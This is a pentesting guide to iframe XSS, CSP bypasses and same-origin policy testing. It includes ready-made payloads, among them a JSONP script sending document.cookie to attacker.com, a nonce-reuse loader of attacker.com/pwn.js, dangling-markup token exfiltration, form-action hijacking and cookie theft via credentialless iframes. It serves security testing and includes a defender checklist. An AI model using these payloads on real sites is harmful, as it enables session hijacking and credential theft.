Iframe Xss Csp Pentest

Iframe XSS, CSP & SOP Pentesting

A comprehensive guide for testing iframe-based vulnerabilities including XSS vectors, CSP bypasses, and SOP violations.

Quick Reference

# Start local test server
python3 -m http.server 8000

# Test iframe XSS payloads
# See sections below for specific attack vectors

Iframe XSS Vectors

Three Content Injection Methods

1. URL-based src - Load external or same-origin pages
2. data: protocol - Embed content directly in the URL
3. srcdoc attribute - Embed HTML content directly

Same-Origin Access Patterns

<!-- Parent page -->
<script>
  var secret = "parent-secret";
</script>

<iframe id="cross-origin" src="http://other-domain.com/page.html"></iframe>
<iframe id="same-origin" src="child.html"></iframe>
<iframe id="srcdoc" srcdoc="<script>var secret='srcdoc-secret';</script>"></iframe>
<iframe id="data-protocol" src="data:text/html,<script>var secret='data-secret';</script>"></iframe>

<script>
  // Cross-origin iframe: CANNOT access child.secret (SOP blocks)
  // Same-origin iframe: CAN access child.secret
  // srcdoc: CAN access (same origin as parent)
  // data: protocol: CANNOT access (null origin)
  
  console.log(document.getElementById('same-origin').contentWindow.secret);
  console.log(document.getElementById('srcdoc').contentWindow.secret);
</script>

Key insight: Only same-origin iframes can access parent/child variables. Cross-origin and data: protocol iframes are blocked by SOP.

CSP Bypass Techniques

Basic CSP Bypass via Iframe

Even with script-src 'none', iframes with URL-based src can execute scripts:

<!-- Parent with restrictive CSP -->
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<iframe src="malicious.html"></iframe>

<!-- malicious.html (no CSP) -->
<script>
  alert(document.cookie);
  // Can access parent if same-origin
  alert(parent.secret);
</script>

Why this works: The CSP applies to the parent document, not the iframe content. If you can upload a file to the server, you can bypass script-src 'none'.

Advanced CSP Bypasses (2023-2025)

1. Dangling Markup / Named Iframe Exfiltration

When HTML is reflected but CSP blocks scripts, use dangling iframe attributes:

<!-- Inject before sensitive content -->
<iframe name="//attacker.com/?">

// On attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // Contains leaked data up to next quote

Use case: Leaking CSRF tokens, session IDs, or any reflected data when script-src 'none' is enforced.

2. Nonce Reuse via Same-Origin Iframe

If you can inject same-origin HTML, read the nonce from the DOM:

// In same-origin iframe
const nonce = top.document.querySelector('[nonce]').getAttribute('nonce');
const script = top.document.createElement('script');
script.src = 'https://attacker.com/pwn.js';
script.nonce = nonce;
top.document.body.appendChild(script);

Requirements:

• Same-origin HTML injection point
• CSP uses nonces (not just hashes)
• strict-dynamic may still allow this

3. Form-Action Hijacking

If form-action directive is missing, redirect form submissions:

<!-- Injected iframe or HTML -->
<iframe src="https://attacker.com/capture.php"></iframe>
<form action="https://attacker.com/capture.php" method="POST">
  <!-- Password managers may auto-fill here -->
</form>

Defense: Always include form-action 'self' in CSP.

Testing CSP Bypasses

Use the test server script to verify bypasses:

# Run the test server
python3 scripts/test_csp_bypass.py

# Visit http://localhost:8000 to see:
# - Cookie theft with script-src 'self'
# - Various iframe configurations

Sandbox Attribute Testing

Default Restrictions

Empty sandbox applies ALL restrictions:

<iframe sandbox="" src="page.html"></iframe>

Blocked by default:

• Script execution
• Form submission
• Top-level navigation
• Plugin usage
• Same-origin access
• Auto-play media

Granular Permissions

<!-- Allow scripts only (isolated origin) -->
<iframe sandbox="allow-scripts" src="page.html"></iframe>

<!-- Allow scripts + same-origin access -->
<iframe sandbox="allow-scripts allow-same-origin" src="page.html"></iframe>

<!-- Allow top navigation (user activation required in modern browsers) -->
<iframe sandbox="allow-top-navigation-by-user-activation" src="page.html"></iframe>

<!-- Allow downloads without user activation -->
<iframe sandbox="allow-downloads-without-user-activation" src="page.html"></iframe>

Testing Sandbox Escapes

1. Check if allow-same-origin is present - enables parent access
2. Check if allow-scripts is present - enables JS execution
3. Check if allow-top-navigation is present - enables navigation attacks
4. Test form submission if allow-forms is present

Credentialless Iframes

What They Do

Chrome 110+ loads iframes without credentials while maintaining SOP:

<iframe src="https://victim.com/page" credentialless></iframe>

Effects:

• No cookies sent to iframe
• No localStorage/IndexedDB shared
• Same-origin scripts can still interact via DOM
• CSRF protection usually works (no auth cookies)
• Password managers disabled

Self-XSS + Credentialless Attack

<!-- Attacker page -->
<iframe id="credless" src="https://victim.com/login" credentialless>
  <!-- Contains Self-XSS payload in username field -->
</iframe>

<iframe id="authed" src="https://victim.com/dashboard">
  <!-- User is logged in here -->
</iframe>

<script>
  // After Self-XSS executes in credless iframe
  // Both iframes share same top-level origin
  const cookie = document.getElementById('authed').contentWindow.document.cookie;
  console.log('Stolen cookie:', cookie);
</script>

Requirements:

• Self-XSS vulnerability on victim site
• User visits attacker page while logged in
• Chrome 110+ or equivalent browser

Testing Credentialless Attacks

1. Check browser support (Chrome 110+, Edge, Firefox 110+)
2. Look for Self-XSS vectors (user-controlled HTML in profile/settings)
3. Test if multiple iframes can share DOM access
4. Verify cookie partitioning behavior

fetchLater API Abuse

What It Does

Defers requests until page unload or timeout:

const req = new Request('/change-password', {
  method: 'POST',
  body: JSON.stringify({password: 'attacker-password'}),
  credentials: 'include'
});

// Execute after 1 minute
fetchLater(req, {activateAfter: 60000});

Attack Pattern

1. Inject Self-XSS in attacker's session
2. Set fetchLater request to perform action
3. Logout from attacker session
4. Victim logs in with their credentials
5. fetchLater executes in victim's session

Requirements:

• Browser supports fetchLater (emerging API)
• Self-XSS injection point
• Victim visits attacker page

Defense:

• CSP connect-src controls fetchLater requests
• Feature-detect before using

SOP Considerations

Cross-Origin Communication

// Parent page
const iframe = document.getElementById('cross-origin-frame');

// This will FAIL if iframe is cross-origin
try {
  console.log(iframe.contentWindow.document.cookie);
} catch (e) {
  console.log('SOP blocked access:', e.message);
}

// Use postMessage for cross-origin communication
iframe.contentWindow.postMessage('hello', 'https://trusted-origin.com');

Testing SOP Violations

1. Check iframe origins - Same-origin vs cross-origin
2. Test parent access - Can parent read iframe content?
3. Test child access - Can iframe read parent content?
4. Test postMessage - Is message origin validation present?
5. Check for null origin - data: protocol iframes

Defensive Checklist

For Defenders

• Include ALL CSP directives: form-action, frame-src, child-src, object-src
• Use strict-dynamic with nonces, don't rely on nonce secrecy
• Apply sandbox carefully - avoid allow-same-origin unless necessary
• Consider COOP+COEP deployment
• Use credentialless for third-party embeds in COEP environments
• Validate and sanitize all iframe src and srcdoc attributes
• Implement proper postMessage origin validation

For Pentesters

• Test all three iframe content methods (URL, data:, srcdoc)
• Try CSP bypasses with uploaded files
• Test dangling markup exfiltration
• Check for nonce reuse opportunities
• Test form-action hijacking
• Verify sandbox restrictions
• Test credentialless iframe interactions
• Check for fetchLater support and abuse potential
• Map SOP boundaries between frames

Common Payloads

<!-- Data: protocol XSS (if allowed) -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>

<!-- JSONP endpoint abuse -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://attacker.com/?c=`+document.cookie;})();//"></script>'></iframe>

<!-- Defer/async script in iframe -->
<iframe src='data:text/html,<script defer src="data:text/javascript,alert(1)"></script>'></iframe>

<!-- Named iframe exfiltration -->
<iframe name="//attacker.com/?token="></iframe>

References

• PortSwigger - Form hijacking to bypass CSP
• PortSwigger - Dangling iframe CSP bypass
• Chrome - Iframe credentialless
• MDN - Window.fetchLater()
• Sloonser - Make Self-XSS Great Again